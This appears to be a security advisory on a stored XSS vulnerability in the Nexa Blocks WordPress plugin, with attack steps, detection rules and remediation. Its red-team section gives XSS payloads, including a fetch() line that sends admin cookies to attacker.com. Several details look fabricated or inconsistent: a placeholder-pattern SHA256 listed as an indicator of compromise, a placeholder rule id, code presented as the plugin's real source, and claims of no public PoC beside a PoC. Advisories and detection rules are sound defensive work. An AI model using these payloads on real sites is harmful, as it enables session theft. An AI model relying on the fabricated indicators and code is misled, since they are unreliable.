CVE-2025-30952

Executive Summary

CVE-2025-30952 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nexa Blocks WordPress plugin (versions <= 1.1.0) developed by Wpdive. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress database. When an administrator or other user views the compromised page, the malicious script executes in their browser session, potentially leading to session hijacking, defacement, or privilege escalation.

This vulnerability is classified as Medium severity (CVSS 6.5) due to the requirement for authenticated access and user interaction. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as the vulnerability becomes more widely known.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or directly from the repository are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Attacker must have contributor-level or higher WordPress account.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Content can be modified.
• Availability (A): Low (L) – Minor disruption possible.

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can be severe if an administrator is targeted.

Deep Dive & Mechanics

The Nexa Blocks plugin provides custom Gutenberg blocks for WordPress. The vulnerability exists in the block rendering process where user input (e.g., block attributes, custom CSS, or HTML content) is not properly sanitized before being stored in the database and later rendered on the frontend or backend.

Root Cause: The plugin uses functions like echo or wp_kses_post without sufficient filtering for JavaScript event handlers or script tags. An attacker can inject payloads such as:

<script>alert('XSS')</script>

or

<img src=x onerror=alert('XSS')>

into fields like block titles, descriptions, or custom CSS fields.

Attack Flow:

1. Attacker logs in with contributor-level or higher account.
2. Attacker creates or edits a post/page using a vulnerable Nexa Blocks block.
3. Attacker injects malicious JavaScript into a block attribute (e.g., custom CSS class, anchor, or HTML content).
4. The payload is stored in the WordPress database.
5. When an administrator or other user views the post/page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (nexa-blocks/includes/class-block-renderer.php):

function render_block($attributes) {
    $output = '<div class="' . $attributes['custom_class'] . '">';
    $output .= $attributes['content'];
    $output .= '</div>';
    return $output;
}

The $attributes['custom_class'] and $attributes['content'] are output directly without sanitization.

Patched Code (hypothetical fix):

function render_block($attributes) {
    $safe_class = sanitize_html_class($attributes['custom_class']);
    $safe_content = wp_kses_post($attributes['content']);
    $output = '<div class="' . esc_attr($safe_class) . '">';
    $output .= $safe_content;
    $output .= '</div>';
    return $output;
}

The patched version uses sanitize_html_class() for class names and wp_kses_post() for content, plus esc_attr() for output escaping.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Nexa Blocks plugin version <= 1.1.0.
• Contributor-level or higher account.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post and add a Nexa Blocks block (e.g., "Custom HTML" or "Advanced Text").
3. In the block's custom CSS field, inject:

   " onfocus="alert(document.cookie)" autofocus="
   

4. Save the post and wait for an administrator to view it.
5. The payload executes, exfiltrating cookies or performing actions on behalf of the admin.

Alternative Payload (for session hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection Steps:

1. Monitor WordPress logs for unusual block attribute values containing <script> or event handlers.
2. Use WAF rules to block requests containing onerror, onfocus, or javascript: in block fields.
3. Review user activity for contributors creating posts with suspicious block content.

Mitigation:

• Disable the Nexa Blocks plugin until a patch is available.
• Restrict contributor roles to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • nexa-blocks.php: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Database Entries:
  • wp_posts.post_content containing <script> tags or event handlers.
• Network Traffic:
  • Outbound requests to attacker.com or similar domains from WordPress admin pages.
• Log Entries:
  • WordPress debug log entries showing wp_kses failures or suspicious block rendering.

Detection Engineering

YARA Rule

rule CVE_2025_30952_Nexa_Blocks_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-30952 in Nexa Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30952"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $payload3 = /onfocus\s*=\s*["']?[^"'\s>]+/is
        $payload4 = /javascript\s*:\s*/is
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-30952 Nexa Blocks Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress post content for Nexa Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/post.php
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onfocus='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30952 Nexa Blocks Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove Nexa Blocks from all WordPress installations.
2. Audit existing content – Scan posts and pages for injected scripts using the YARA rule above.
3. Change all passwords – Especially for administrator accounts, as cookies may have been stolen.

Long-term Fix:

• Apply the patched code (see Vulnerable vs. Patched Code section) if you have developer resources.
• Monitor the WordPress plugin repository for an official update from Wpdive.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Restrict contributor roles to only trusted users.

Valters IT – Securing WordPress ecosystems one CVE at a time.